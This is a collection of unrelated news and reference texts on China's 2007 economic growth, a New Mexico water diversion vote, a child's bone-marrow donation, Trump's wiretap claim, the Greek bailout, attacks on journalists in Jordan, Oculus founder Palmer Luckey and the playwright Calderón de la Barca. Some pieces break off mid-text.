-Building and infrastructure projects are fuelling economic growth  Increased exports and a boom in the construction industry helped the rapid expansion during 2007.  But officials warned that overheating remained a danger, despite a slight slow-down in the fourth quarter.  Inflation is also a serious concern, with many Chinese people hit by recent dramatic increases in food prices.  'Still developing'  Announcing the figures, National Statistics Bureau chief Xie Fuzhan said Beijing was paying "close attention" to the US credit crisis.  He said Beijing would respond by making "timely and proper adjustments" in exchange and interest rate policy, but gave no details.  Speculation has been mounting among analysts over whether China has overtaken Germany to become the world's third-largest economy.  But Mr Xie played down the comparison, saying: "It's not really important to know whether China is the fourth-largest or the third-largest.  "Even if the total surpasses Germany, China is still a developing country - in particular, the per capita GDP of China is really low."  Price controls  The BBC's Quentin Sommerville, in Shanghai, says economic growth is not a problem in China, but keeping the ever-expanding economy under control is proving tricky.  It took six interest rate rises by the government last year to slow the expansion. The last quarter of 2007 saw growth ease to 11.2%.  But while other governments around the world are cutting interest rates, China will likely have to raise them again if it is to keep its economy growing at a sustainable level, our correspondent says.  Another headache for Beijing last year was inflation.  Despite its growing wealth, China still has a large number of poor people struggling with dramatic increases in the price of daily essentials such as pork, which jumped by 50%.  Inflation hit an 11-year year high in November. Thursday's figures show that it fell back in December, although at 6.5% it remains a worry.  The government has introduced a range of price controls recently aimed at bring the cost of ordinary goods, particularly food, under control.  Dramatic price rises have led to social unrest in the past and Beijing cannot afford for its millions of poor to go hungry.
-.......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........  ALBUQUERQUE, N.M. — The New Mexico Interstate Stream Commission on Monday said “yes” to a controversial proposal to divert water from the Gila River for use in southwestern New Mexico farms and cities – but with reservations.  The commission agreed to formally notify the U.S. Department of Interior that it wants to proceed with a project that would divert water from the Gila during times of high flow, building reservoir storage so that it can then be piped for as yet unidentified uses.  The vote allows the state to meet a Dec. 31 federal deadline to take the project’s next steps, a move that could free up $62 million in additional federal funding. But commissioners cautioned that more hurdles remain, chief among them the cost of a potential project and the ability of the state and local communities to pay for it, and that the state is not committed to build the project if it determines it is too costly.  ADVERTISEMENTSkip  “New Mexico’s financial options will remain open for years to come,” acting Interstate Stream Commission Director Amy Haas said in a statement issued by the agency following the vote.  “If New Mexico determines down the road that our options are overly costly or no longer feasible, we have the option to change course.”  Opponents, who turned out in force at the hearing, said they believe the state knows enough to kill the project now. Bearing signs saying things like “No billion dollar boondoggle,” they say the cost – at least $575 million, according to a state consultant, and possibly $1 billion, according to an independent federal review – is too high, given the small amount of water the project will yield. They claim the project will cause environmental damage to the wild-flowing Gila with too little benefit.  More than 60 people attended the hearing, held in Albuquerque City Hall.  Project supporters say arid New Mexico cannot afford to pass up the water, an argument that carried the day with the commission, though the supply will be small. At Monday’s meeting, Interstate Stream Commission staff acknowledged that evaporation and reservoir seepage will eat up nearly half the water before it ever reaches any farms or cities.  The law under which the project would be built authorized 14,000 acre-feet per year on average from the Gila, but the actual yield will likely be between 6,000 and 8,000 acre-feet, ISC staff member Ali Effati told the commission. An acre-foot of water is enough for a typical family for two years.  ADVERTISEMENTSkip  The opportunity to develop a new water supply is too important to pass up, said state Engineer Scott Verhines, who serves as the commission’s secretary. “Few of New Mexico’s regions have an opportunity to develop new water. This one does,” Verhines said.  Commissioner Blane Sanchez, the lone “no” vote, said he had reservations about the project because too little design work has been done to fully understand the costs. “It hasn’t been fully vetted,” Sanchez said.  Commissioners Jim Dunlap, Phelps Anderson, Randy Crowder, James Wilcox, Mark Sanchez, Buford Harris and Verhines all voted yes. Commissioner Topper Thorpe, who owns irrigation land in the area that might be served by the project, did not vote.  Verhines acknowledged the financial uncertainty, but said to vote “no” now, before the project is fleshed out, would close off the option of future development of the water.  The decision starts a complex set of next steps for the project, which has been a decade in the making. The federal government already has allocated $68 million for southwestern New Mexico water projects, some of which can be spent now on design work for the diversion project. By voting “yes,” the state could get access to an additional $62 million if the diversion project proceeds to construction.  In the meantime, New Mexico can continue studies in the project to flesh out details, including how much it will cost and how much water it will yield. The required federal studies, a necessity for the work to proceed, could take another five years to complete, staff told the commission.  Critics said the money spent in design work and environmental reviews in the coming years will be wasted, because it already is clear that the project makes no economic sense.  “I think they know enough now,” said Allyson Siwik of the Gila Conservation Coalition. The money spent on studies could better be devoted to conservation measures and other steps to help the region cope with water scarcity, she said in an interview following the decision.
-Gabrielle Jones is barely four years old and she’s already saved a life.  And, while that’s remarkable enough on its own, making it even more special is the fact that the life she saved was of her baby brother Avery.  Last year, Avery came down with a fever that wouldn’t go away. The Meadowvale boy’s parents, mother Michelle and father Stefan, took him to the hospital on several occasions and to a pediatric clinic. But, despite antibiotics being prescribed, the fever just wasn’t breaking.  They returned to Credit Valley Hospital and their then four-month-old son underwent a battery of tests, including blood work. Not liking what they saw in the results, the CVH doctors referred him to the Hospital for Sick Children in Toronto.  There, physicians diagnosed Avery with hemophagocytic lymphohistiocytosis (HLH). According to the Johns Hopkins Medicine website, the life-threatening and rare condition has certain white blood cells of the immune system malfunctioning and that causes them to attack and damage the body’s other blood cells.  “I had never heard of it,” admitted Stefan. “Everyone knows about cancer or leukemia but HLH? Once we found out, we spent days doing research to try and learn as much as we could about something we had never heard of.”  It was a scary time for the family. Stefan and Michelle learned they both carried the gene that caused HLH and that meant their offspring had a one in four chance of being diagnosed with it. They had to take their other children — Gabrielle as well as Sienna, 8, and Aiden, 5 — for testing to see if they had the condition. Thankfully, they didn’t.  Steroids and chemotherapy would serve as a temporary treatment for Avery’s HLH, the family said. But, the only way to cure it was a bone-marrow transplant.  The parents were told that they should get tested, along with Avery’s siblings, to see if they were a match for donation. It’s highly unlikely that the extended family would be, which narrowed down the field of prospective donors, and they were informed that less than 25 per cent of the time a donor is found in the immediate family.  Last year in June, memorably enough on Michelle’s birthday, she received two phone calls that would prove to be the best gift she could have hoped for.
-President Donald Trump on Wednesday stood by his explosive claim that Barack Obama ordered a wiretap of Trump Tower during the 2016 presidential campaign.  In what were his first comments on the scandal since he made the accusations in a series of tweets on March 4, the president told Fox News he expected "some very interesting items coming to the forefront over the next two weeks".  In excerpts of the interview, to be broadcast in full on Wednesday night, he also said that "wiretap covers a lot of different things".  Mr Trump has been under mounting pressure to provide evidence for the claims that his predecessor ordered a spying operation to be carried out on him in the run-up to November's election.  Devin Nunes, the Republican chairman of the House of Representatives Intelligence committee directly contradicted the president on Wednesday, saying: "We don't have any evidence that that took place."  "I don't think there was an actual tap of Trump Tower," he said. If Mr Trump's s tweets were taken literally, then "clearly the president was wrong".
-You couldn’t have had a clearer demonstration of what democracy now counts for in Europe than this week’s immolation of Greece. In January, after five years of grinding austerity imposed by the troika of creditors had shrunk its economy by a quarter and pushed millions into poverty, Greeks rebelled and elected an anti-austerity government.  Following months of fruitless negotiations, the country voted last week to reject the latest cuts, tax rises and privatisations demanded to deal with the disastrous impact of the first phase of austerity. The response of the eurozone’s masters was immediately to ratchet up the pain still further. For the “breach of trust” of daring to put the terms to its people, Athens was to be punished. So on Monday – threatened with expulsion from the eurozone and economic collapse courtesy of the European Central Bank’s cash blockade – the Greek prime minister, Alexis Tsipras, bent the knee.  The left must now campaign to leave the EU | Owen Jones Read more  In exchange for what is called a bailout, but is in reality the imposition of new debts to pay existing creditors, the Greeks must hand over €50bn (£35bn) of public assets to an “independent” privatisation fund. On top of that, they have to inject more austerity into a shrinking economy and reverse any legislation deemed unsuitable by the eurozone’s overlords – in other words, the opposite of everything Tsipras and his Syriza party were elected to do.  That’s why European officials were so keen to let it be known that Tsipras had been “crucified” and “mentally waterboarded”. Greece would be turned into an economic “protectorate”, one purred, where all key decisions would be taken by foreign governments and unelected EU bureaucrats. No wonder Greek leaders declared that they had been subjected to a coup, while the ex-finance minister Yanis Varoufakis compared the “deal” to the Versailles treaty. This is the diktat of a bankers’ ramp that can barely tolerate even a facade of democracy.  That’s been a familiar pattern in the developing world for decades, in the guise of IMF and World Bank structural adjustment programmes. But the eurozone has now given it permanent institutional form. The idea that this crisis has simply pitted one democratic mandate – that of Greece – against the hard-pressed taxpayers of 18 other eurozone members is nonsense.  Not only have the loans that bailed out French and German lenders, rather than Greece, been highly profitable. But the real fear of eurozone governments is that if Greece’s rebellion against austerity is rewarded, other European electorates will want to go the same way. Which is why Syriza must not only be defeated, but utterly crushed.  That this is about politics more than economics should now be obvious. It’s not just that the austerity imposed on Greece has delivered a 1930s-style depression, or that Ukraine was recently bailed out with generous debt write-offs but without any crucifixions or waterboarding. One part of the troika, the IMF – dominated by a US anxious to keep Greece in the Atlanticist camp – has now revealed it is well aware Greece’s debts will never be repaid without massive relief and that this week’s deal could swell them to more than 200% of GDP. In other words, it won’t work. But pre-Keynesian balanced-budget economics has the eurozone’s rulers in its grip, as they seek to overcome the crisis by restoring corporate profitability.  It was Syriza’s commitment to opposing austerity while remaining in the euro at all costs that led to capitulation. What helped win the election became a fatal handicap in office, as Tsipras resisted pressure even to make contingency plans for Grexit. That would have strengthened his negotiating hand, as well as giving Greece the option of escaping indefinite economic depression.  The short-term costs of exit would certainly be harsh. But, combined with measures to take control of the economy and tax the oligarchs, it at least offers the chance of longer-term recovery. That’s now the view of many inside Syriza and beyond, including those who voted against the eurozone diktat in the Greek parliament yesterday, and support is likely to grow as economic asphyxiation resumes. Otherwise, the far right will be the main beneficiary.  Either way, the fallout from what has happened this week is likely to be momentous. Even if the latest deal is softened and holds for a few months – under the formal aegis of a wounded Syriza-led government, or not – it won’t last. Sooner or later Greece will be forced out of the euro, or leave of its own accord. The only question is who will control that process.  Once that happens, and euro membership is seen to be reversible, the future of the wider eurozone will be thrown into question. A half-baked currency union, without fiscal transfers or democratic structures, cannot last. A eurozone nakedly dominated by one state, Germany, enforcing destructive austerity on its vassals with such brutality, can have no enduring legitimacy.  What kind of a union treats one of its members like a recalcitrant colony and dismisses its democracy as an affront?  While it has benefited German capital, 16 years of the euro have delivered flat wages to German workers and stagnant growth and productivity to countries such as Italy. This week has made a mockery of monetary union as a path to a united democratic Europe and opened the way for the eurozone’s breakup.  Once that process begins, expect the future of the European Union itself, with the eurozone at its heart, to be put in question. What kind of a union of partners treats one of its members like a recalcitrant colony, destroys its economy if it steps out of line, and dismisses its democracy as an impudent affront? In fact it’s one that has always ducked democratic accountability, embedded deregulation and privatisation in treaties, and preferred to fix policy – including the race-to-the-bottom Transatlantic Trade Investment Partnership – with corporate interests in secret.  British progressives and the European Union: should we stay or should we go? | Letters Read more  It’s hardly surprising that hostility to the EU, which shows no signs of being open to deep-seated reform, is growing across the continent. Or that many progressive people in Britain, previously attracted to what seemed its cooperative internationalism, are moving towards voting no in the planned in-out referendum in the face of its brutal authoritarianism towards Greece. In their zeal to discipline the eurozone, the continent’s elites are killing their European project.
-Jordanian police beat protesters during a demonstration in Amman on July 15, 2011[AFP]  The Jordan Press Association says it plans to sue the police department after 15 journalists, including Al Jazeera's senior journalist in the country, were beaten up as they covered a demonstration on Friday in Amman.  The announcement comes one day after four policemen suspected of attacking the journalists were arrested.  "The union will file individual and collective lawsuits against the public security department," Tareq Momani, the JPA president, said on Sunday at a sit-in outside the association.  At least 17 people, including journalists and policemen, were injured on Friday when police tried to stop clashes between pro-reform demonstrators and government supporters in central Amman.  Yasser Abu Hilala, Al Jazeera's Amman bureau chief, said he was among those targeted by police.  "I was attacked as I was doing my job with other journalists," Abu Hilala said. "Several policemen and thugs tried to pull the cord of the camera and as I tried to stop them they started to punch and kick me."  "Al Jazeera has been singled out from the rest of the media outlets because they see [Al Jazeera] as instigators who highlighted what happened on [Friday 15 in Nakheel Square] ... This kind of brutality against media is unheard of in Jordanian history."  Abu Hilala said four of the injured journalists were still in the hospital and that unofficial pro-government websites had been calling for people to attack and kill him.  'Especially shocking'  Police used batons to break up Friday's clashes outside city hall, assaulting journalists wearing orange vests marked "Press".  "I apologise to journalists for agreeing with the police department to make them wear the vests. This was apparently nothing more than a trap," Momani said.  "The attack on the journalists reflects an alarming hostility by the security forces towards the media," Lamis Andoni, a political commentator, told Al Jazeera. "It is especially shocking because the head of the public security had given gurantees that journalists would be protected by the police."  "So far, people have been demanding reforms but such actions by security forces will only provoke more popular anger and more radical demands," she said.  A statement from the criminal investigation department said "[Chief] General Hussein Majali has formed a committee of inquiry into the attacks on the journalists who were simply doing their jobs".  The results of the probe were to be announced within 72 hours, it said, vowing to "refer to courts those who have a case to answer".  "These police measures are not enough. There are dozens of policemen who should be held accountable," Momani said.  MPs and Islamist leaders took part in Sunday's sit-in, and, during a parliamentary session, issued a statement condemning attacks on freedom of speech and expression, Al Jazeera's Nisreen El Shamayleh, reporting from Amman, said.  The statement stressed that parliament would not tolerate attacks on journalists, and said everyone linked to the violence must be held accountable.  "I salute the journalists. What happened will not silence calls for reform," Hamzah Mansur, head of the opposition Islamic Action Front (IAF), said.  "I congratulate our journalists who insist on reporting the truth about our people's grand aspirations."  Anger at the PM  Protesters are demanding that Maaruf Bakhit, the Jordanian prime minister, face trial over the incident.  About 400 people demonstrated outside his office on Saturday, condemning Friday's violence and demanding the resignation of his government and his trial.  "Freedom, freedom! No to martial laws. We say to the intelligence services that Jordanians are still alive," they chanted amid a heavy security presence.  The protesters carried banners reading: "The people want the downfall of the government. We want to put Bakhit and the attackers of demonstrators on trial."  Since January, Jordan has faced a protest movement demanding political and economic reforms and an end to corruption.
-Palmer Luckey has IT issues. We’re due to speak – but he can’t be contacted. Eventually, his UK PR gets in touch. “Palmer hasn’t even received any emails,” he says. “Emails can’t get in from outside the building.”  It’s September 19, 2016, the day before the Oculus Rift, the virtual reality headset Luckey invented, goes on sale in the UK.  It’s also the date of Luckey’s 24th birthday.  Advertisement  Do you remember your 24th birthday? Maybe you do; maybe you don’t; maybe it hasn’t happened yet. Whatever: take all thoughts about this event and remove them from your mind. Because Palmer Luckey has lived a life unlike any twenty-four-year-old you have ever met.  Consider this: you’re 19 and you invent a virtual reality headset. A month before your birthday, you post it on Kickstarter, where it raises $2.4 million. By the time you’re 20, you’re a millionaire.  Read next Microsoft's HoloLens 2 is finally here. But who (or what) is it for? Microsoft's HoloLens 2 is finally here. But who (or what) is it for?  “It is potentially the final computing platform. This is generalising, but if you have perfect virtual reality, you don't have to perfect much else.” Palmer Luckey, Oculus founder  You drop out of college to go full time on Oculus. Then Facebook buys your company for $2 billion. You’re 21 and worth $700 million.  Advertisement  What else? Oh yes: TIME puts you on its cover, floating in front of an image of a beach. Now you’re a meme. Someone sues you, claiming you’re a fraud. And then there’s the business, now a multinational operation with “several hundred people” – such is the level of secrecy you can’t reveal the exact number. And still you’re barely 24. It's unimaginable.  [twitter id="777906570965508096"]  But if you ask Luckey himself, he says: “You know, it's kind of weird, but I don’t think all that much has changed. Until very recently we've been very much doing the same thing we're always doing.”  Read next Will HTC's eye-tracking tech be enough to take VR mainstream? Will HTC's eye-tracking tech be enough to take VR mainstream?  It’s the day after our scheduled meeting, and in San Francisco, where Luckey is based, it’s 9am. He joins our call with a boisterous, “How's it going!” If he’s tired or hungover he’s doing a good job hiding it. How did he spend his 24th birthday?  Advertisement  “I worked.”  Oh. Is that all?  “I also went out to dinner with some friends. But mostly I really like being at work. That’s where all my friends are right now anyway.”  Luckey’s official title at Oculus is “founder”, but he’s not the boss. “I've never wanted to be a CEO,” he says. “I handed over that role real fast when I started the company.” Thirty-seven-year-old Brendan Iribe runs the place, worrying about things like why emails aren’t getting through. (Luckey: “Yeah, we're rolling through some kind of email migration, I'm not sure what the details are.”) Luckey, who dislikes shoes, wanders around barefoot or in surfer-style flip-flops. When he decided to deliver the first Oculus Rift in person, he was photographed wearing a Hawaiian shirt in the Alaskan winter.  Read next Forget the VR hype. In healthcare, it's making a real difference Forget the VR hype. In healthcare, it's making a real difference  Day-to-day, his role is hard to define. He helps external developers create material for VR, and works on cool new hardware, such as Oculus’ long-awaited Touch hand controllers, which he says should be launching soon. “That was my pet project for a couple of years, so that's pretty exciting to finally get that out there.”  Luckey also thinks about the future of virtual reality. Not so much the next steps: “Higher resolution, lighter weight, lower cost – those are just really obvious.” He’s excited by facial recognition, eye-tracking or the ability to make virtual scans of your immediate environment.  “Those are the types of things that are eventually going to turn virtual reality and augmented reality, which is really just the same technology but on a different end of the use case spectrum, into something that we actually use every day,” he says.  Luckey spends “a lot of time” playing games, but when he talks about the uses of VR he has far bigger things in mind than gaming. “This idea of virtual reality as a gaming technology is actually a really very recent idea. If you look back 10, 20 even 30 years, virtual reality in science fiction is always depicted as an enabling technology to enable people to do all kinds of things. Like working remotely, education, medical training, really anything you can imagine in this kind of digital parallel world where the rules of the real word don't apply.”  Ah yes, science fiction. Speak to anyone in VR and it’s never long before it comes up. At Oculus, the inspiration is explicit: on arrival, each new employee is presented with a copy of Ernest Cline’s VR novel, Ready Player One. Which is weird when you think about it, because Ready Player One isn’t motivational reading, it’s a dystopia.  Read next Thursday briefing: Facebook announces wireless Oculus Quest VR headset Thursday briefing: Facebook announces wireless Oculus Quest VR headset  Luckey downplays that aspect of the book. He’s spoken to Cline, he says, as well as other science-fiction authors. He doesn’t think their books were intended as predictions. “The reality is that when people make dystopian worlds based on VR, whether it's Ready Player One, or Snow Crash or The Matrix, the honest truth is, they’re trying to tell a good story, and a good story has conflict.”  “Nobody really wants to make a story about VR,” he continues, “where the plot is that virtual reality comes around, changes the world, makes it a better place and everything kind of goes on as it is but better, because that’s not an interesting story to tell.”  That’s also not the way the world tends to work. In fact, for Luckey and Oculus, conflict is already here, most notably in the form of HTC and Valve, whose rival Vive headset beat Oculus to market. Sony and Google are releasing competitors, as is – reportedly – Apple. And of course Oculus is owned by Facebook, an aggressive giant whose founder and CEO roused his troops by chanting the Latin battle cry, “Carthago delenda est!”  Is Luckey ready for the wars to come? “Well, I think we have to be!” he says. “The platform wars are of course inevitable.” But, he adds, “I want good VR to exist, I want to use it for all the things I've always wanted to use it for. Making the best VR platform is certainly an end to that, but my goal at the end of the day is not to go to bed and then wake up to win a platform war. It's to wake up and go make VR incredible.”  Maybe Luckey’s just glad to have company. After all, he’s been working on virtual reality since he was 16 – and back then, he says, most people just thought he was crazy. “When you're the only company working on something, you really do seem like a bunch of nutters. When there's a bunch of companies that are all working on it, that's kind of a good sign. It means other people see what you see, and that they agree it's going to be significant.”  Advertisement  But here’s the thing: when Luckey says all he wants to do is to see VR exist, he seems to mean it. On his Twitter feed, he regularly endorses rival products: the new, more powerful Playstation earned a “This is good for VR!”, even though it was designed for Sony's competitor headset. In the early days of Oculus, Luckey planned to sell the blueprints to the Rift for enthusiasts to build themselves. Even after all this time, he appears to feel the same way. He’s heading towards the promised land of science-fiction, where all conflicts will be resolved and we will have freedom to do whatever we want.  “VR is basically the ultimate technology,” he says. “It is potentially the final computing platform. This is generalising, but if you have perfect virtual reality, you don't have to perfect much else.” In other words, you can stop fighting, because there’s nothing left to conquer.  But in tech, very little is accomplished without a fight. Fun matters, but so do tactics and strategy, the IT issues of the daily grind. Will Palmer Luckey still be dreaming happily of VR on his 25th birthday? “I've been going at this for quite some time,” he says. “And I still like doing it.” Maybe, ultimately, that’s all that matters.
-Pedro Calderón de la Barca y Barreda González de Henao Ruiz de Blasco y Riaño, usually referred as Pedro Calderón de la Barca ( Spanish pronunciation: [ˈpeðɾo kaldeˈɾon de la ˈβaɾka]; 17 January 1600 – 25 May 1681), was a dramatist, poet and writer of the Spanish Golden Age. During certain periods of his life he was also a soldier and a Roman Catholic priest. Born when the Spanish Golden Age theatre was being defined by Lope de Vega, he developed it further, his work being regarded as the culmination of the Spanish Baroque theatre. As such, he is regarded as one of Spain's foremost dramatists and one of the finest playwrights of world literature.[1]  Biography [ edit ]  Primera parte de Comedias verdaderas (1726) Calderón de la Barca's portrait, in(1726)  Calderón was born in Madrid. His mother, who was of Flemish descent, died in 1610; his father, an hidalgo of Cantabrian origins who was secretary to the treasury, died in 1615. Calderón was educated at the Jesuit College in Madrid, the Colegio Imperial, with a view to taking orders; but instead, he studied law at Salamanca.  Between 1620 and 1622 Calderón won several poetry contests in honor of St Isidore at Madrid. Calderón's debut as a playwright was Amor, honor y poder, performed at the Royal Palace on 29 June 1623. This was followed by two other plays that same year: La selva confusa and Los Macabeos. Over the next two decades, Calderón wrote more than 70 plays, the majority of which were secular dramas written for the commercial theatres.  Calderón served with the Spanish army in Italy and Flanders between 1625 and 1635. By the time Lope de Vega died in 1635, Calderón was recognized as the foremost Spanish dramatist of the age. Calderón had also gained considerable favour in the court, and in 1636–1637 he was made a knight of the Order of Santiago by Philip IV, who had already commissioned from him a series of spectacular plays for the royal theatre in the newly built Buen Retiro palace. On 28 May 1640 he joined a company of mounted cuirassiers recently raised by Gaspar de Guzmán, Count-Duke of Olivares, took part in the Catalan campaign, and distinguished himself by his gallantry at Tarragona. His health failing, Calderón retired from the army in November 1642, and three years later was awarded a special military pension in recognition of his services in the field.  Calderón's biography during the next few years is obscure. His brother, Diego Calderón, died in 1647. A son, Pedro José, was born to Calderón and an unknown woman between 1647 and 1649; the mother died soon after. Calderón committed his son to the care of his nephew, José, son of Diego. Perhaps for reasons relating to these personal trials, Calderón became a tertiary of the order of St Francis in 1650, and then finally joined the priesthood. He was ordained in 1651, and became a priest at San Salvador church, in Madrid. According to a statement he made a year or two later, he decided to give up writing secular dramas for the commercial theatres.  Though he did not adhere strictly to this resolution, he now wrote mostly mythological plays for the palace theatres, and autos sacramentales—one-act allegories illustrating the mystery of the Eucharist—for performance during the feast of Corpus Christi. In 1662, two of Calderón's autos, Las órdenes militares and Mística y real Babilonia, were the subjects of an inquiry by the Inquisition; the former was censured, its manuscript copies confiscated, and remained condemned until 1671.  Calderón was appointed honorary chaplain to Philip IV in 1663, and continued as chaplain to his successor. In his eighty-first year he wrote his last secular play, Hado y Divisa de Leonido y Marfisa, in honor of Charles II's marriage to Maria Luisa of Orléans.  Notwithstanding his position at court and his popularity throughout Spain, near the end of his life Calderón struggled with financial difficulties, but with the motivation of the Carnival of 1680 he wrote his last work of comedy, Hado y divisa de Leonido y de Marfisa. He died May 25, 1681, leaving only partially complete the autos sacramentales that he had been working on for that year. His burial was austere and unembellished, as he desired in his will: "Uncovered, as if I deserved to satisfy in part the public vanities of my poorly spent life". In this manner he left the theatres orphaned in which he was considered one of the best dramatic writers of his time.[2]  Style [ edit ]  Calderón initiated what has been called the second cycle of Spanish Golden Age theatre. Whereas his predecessor, Lope de Vega, pioneered the dramatic forms and genres of Spanish Golden Age theatre, Calderón polished and perfected them. Whereas Lope's strength lay in the sponteneity and naturalness of his work, Calderón's strength lay in his capacity for poetic beauty, dramatic structure and philosophical depth. Calderón was a perfectionist who often revisited and reworked his plays, even long after they were first performed. This perfectionism was not just limited to his own work: several of his plays rework existing plays or scenes by other dramatists, improving their depth, complexity, and unity. Calderón excelled above all others in the genre of the "auto sacramental", in which he showed a seemingly inexhaustible capacity to giving new dramatic forms to a given set of theological and philosophical constructs. Calderón wrote 120 "comedias", 80 "autos sacramentales" and 20 short comedic works called entremeses.  As Goethe notes, Calderón tended to write his plays taking special care of their dramatic structure. He therefore usually reduced the number of scenes in his plays as compared to those of Lope de Vega, so as to avoid any superfluity and present only those scenes essential to the play, also reducing the number of different metres in his plays for the sake of gaining a greater stylistic uniformity. Although his poetry and plays leaned towards culteranismo, he usually reduced the level and obscurity of that style by avoiding metaphors and references away from those that uneducated viewers could understand. However, he had a liking for symbolism, for example making a fall from a horse a metaphor of a fall into disgrace, the fall representing dishonour; the use of horoscopes or prophecies at the start of the play as a way of making false predictions about the following to occur, symbolizing the utter uncertainty of future. In addition, probably influenced by Cervantes, Calderón realized that any play was but fiction, and that the structure of the baroque play was entirely artificial. He therefore sometimes makes use of meta-theatrical techniques such as making his characters read in a jocose manner the clichés the author is using, and they are thus forced to follow. Some of the most common themes of his plays were heavily influenced by his Jesuit education. For example, as a reader of Saint Thomas Aquinas and Francisco Suárez, he liked to confront reason against the passions, intellect against instinct, or understanding against will. In common with many writers from the Spanish Golden Age, his plays usually show his vital pessimism, that is only softened by his rationalism and his faith in God; the anguish and distress usually found his œuvre is better exemplified in one of his most famous plays, La Vida es sueño (Life Is a Dream), in which Segismundo claims:  ¿Qué es la vida? Un frenesí.  ¿Qué es la vida? Una ilusión,  una sombra, una ficción,  y el mayor bien es pequeño.  ¡Que toda la vida es sueño,  y los sueños, sueños son! What is life? A frenzy.  What is life? An illusion,  A shadow, a fiction,  And the greatest good is small;  For all of life is a dream,  And dreams, are only dreams.  Indeed, his themes tended to be complex and philosophical, and express complicated states of mind in a manner that few playwrights have been able to manage. Like Baltasar Gracián, Calderón favoured only the deepest human feelings and dilemmas.  Since Calderón's plays were usually represented at the court of the King of Spain, he had access to the most modern techniques regarding scenography. He collaborated with Cosme Lotti in developing complex scenographies that were integrated in some of his plays, specially his most religious-themed ones such as the Autos Sacramentales, becoming extremely complex allegories of moral, philosophical and religious concepts.  Reception [ edit ]  Although his fame dwindled during the 18th century, he was rediscovered in the early 19th century by the German Romantics. Translations of August Wilhelm Schlegel reinvigorated interest in the playwright, who, alongside Shakespeare, subsequently became a banner figure for the German Romantic movement.[3] E. T. A. Hoffmann based his 1807 singspiel Liebe und Eifersucht on a play by Calderón, La banda y la flor (The Scarf and the Flower), translated by Schlegel. In subsequent decades, Calderón's work was translated into German numerous times, most notably by Johann Diederich Gries and Joseph von Eichendorff, and found significant reception on the German and Austrian stages under the direction of Goethe, and Joseph Schreyvogel. Later significant German adaptations include Hugo von Hofmannsthal's versions of La vida es sueño and El gran teatro del mundo.  Although best known abroad as the author of Doctor Zhivago, Boris Pasternak produced acclaimed Russian translations of Calderón's plays during the late 1950s. According to his mistress, Olga Ivinskaya,  In working on Calderón he received help from Nikolai Mikhailovich Liubumov, a shrewd and enlightened person who understood very well that all the mudslinging and commotion over the novel would be forgotten, but that there would always be a Pasternak. I took finished bits of the translation with me to Moscow, read them to Liubimov at Potapov Street, and then went back to Peredelkino, where I would tactfully ask [Boris Leonidovich] to change passages which, in Liubimov's view departed too far from the original. Very soon after the "scandal" was over, [Boris Leonidovich] received a first payment for the work on Calderón.[4]  Twentieth-century Calderón reception suffered significantly under the influence of Marcelino Menéndez y Pelayo, but a revival of interest in Calderón scholarship can be largely attributed to British reception, namely through the works of A. A. Parker (who considered La hija del aire to be his finest work ),[5] A. E. Sloman and more recently Bruce Wardropper.  English [ edit ]  Although not well known to the current English-speaking world, Calderón's plays were first adapted into English during the 17th century. For instance, Samuel Pepys recorded attending to some plays during 1667 which were free translations of some of Calderón's. Percy Bysshe Shelley translated a substantial portion of El Mágico prodigioso. Some of Calderón's works have been translated into English, notably by Denis Florence MacCarthy, Edward FitzGerald, Roy Campbell, Edwin Honig, Kenneth Muir & Ann L. Mackenzie, Adrian Mitchell, and Gwynne Edwards.  Works [ edit ]  Plays [ edit ]  Amor, honor y poder ( Love, Honor and Power ) (1623)  ( ) (1623) El sitio de Breda (The Siege of Breda) (1625)  La vida es sueño (Life is a dream) Calderon dela Barca, Life is a dream, act II, scene 19, Monologue of Segismundo Problems playing this file? See media help.  La dama duende ( The Phantom Lady ) (1629)  ( ) (1629) Casa con dos puertas ( The House with Two Doors ) (1629)  ( ) (1629) La vida es sueño ( Life is a Dream ) (1629–1635)  ( ) (1629–1635) El mayor encanto, amor ( Love, the Greatest Enchantment ) (1635)  ( ) (1635) Los tres mayores prodigios ( The Three Greatest Wonders ) (1636)  ( ) (1636) La devoción de la Cruz ( Devotion to the Cross ) (1637)  ( ) (1637) El mágico prodigioso ( The Mighty Magician ) (1637)  ( ) (1637) A secreto agravio, secreta venganza (Secret Vengeance for Secret Insult) (1637)  (1637) El médico de su honra ( The Surgeon of his Honor ) (1637)  ( ) (1637) El pintor de su deshonra ( The Painter of His Dishonor ) (1640s)  ( ) (1640s) El alcalde de Zalamea ( The Mayor of Zalamea ) (1651)  ( ) (1651) La hija del aire ( The Daughter of the Air ) (1653)  ( ) (1653) Eco y Narciso ( Eco and Narcissus ) (1661)  ( ) (1661) La estatua de Prometeo ( Prometheus' Statue )  ( ) El prodigio de Alemania (The Prodigy of Germany) (in collaboration with Antonio Coello)  Operas [ edit ]  Celos aun del aire matan 1660  Autos Sacramentales (Sacramental plays) [ edit ]  La cena del rey Baltazar ( The Banquet of King Balthazar )  ( ) El gran teatro del mundo ( The Great Theater of the World )  ( ) El gran mercado del mundo (The World is a Fair)  Comedies [ edit ]  For a time the comedic works of Calderón were underestimated, but have since been reevaluated and have been considered as masterfully composed works as being classified in the genre of comedias de enredo, such as his works La dama duende (The Phantom Lady), Casa con dos puertas, mala es de guardar (A house with two doors is difficult to guard), or El galán fantasma (The Heroic Phantom).  In modern literature [ edit ]  Calderón de la Barca appears in the 1998 novel The Sun over Breda, by Arturo Pérez-Reverte, which takes up the assumption that he served in the Spanish Army at Flanders and depicts him during the sack of Oudkerk by Spanish troops, helping the local librarian save books from the library in the burning town hall. Latin American author Giannina Braschi based her dramatic novel United States of Banana (2011) on Calderón de la Barca's La vida es sueño (Life Is a Dream), recasting the tragic hero Segismundo in 21st-century New York City, where his father, the King of the United States of Banana, locks him in the dungeon of the Statue of Liberty for the crime of having been born.[6]  Bibliography [ edit ]  Calderón de la Barca, Pedro. Life's a Dream: A Prose Translation . Trans. and ed. Michael Kidd (Boulder, Colorado, 2004). Forthcoming in a bilingual edition from Aris & Phillips (U.K.).  . Trans. and ed. Michael Kidd (Boulder, Colorado, 2004). Forthcoming in a bilingual edition from Aris & Phillips (U.K.). Calderón de la Barca, Pedro. Obras completas / don Pedro Calderon de la Barca . Ed. Angel Valbuena Briones. 2 Vols. Tolle: Aguilar, 1969–.  . Ed. Angel Valbuena Briones. 2 Vols. Tolle: Aguilar, 1969–. Cotarelo y Mori, D. Emilio. Ensayo sobre la vida y obras de D. Pedro Calderón de la Barca . Ed. Facs. Ignacio Arellano y Juan Manuel Escudero. Biblioteca Áurea Hispánica. Madrid;Frankfurt: 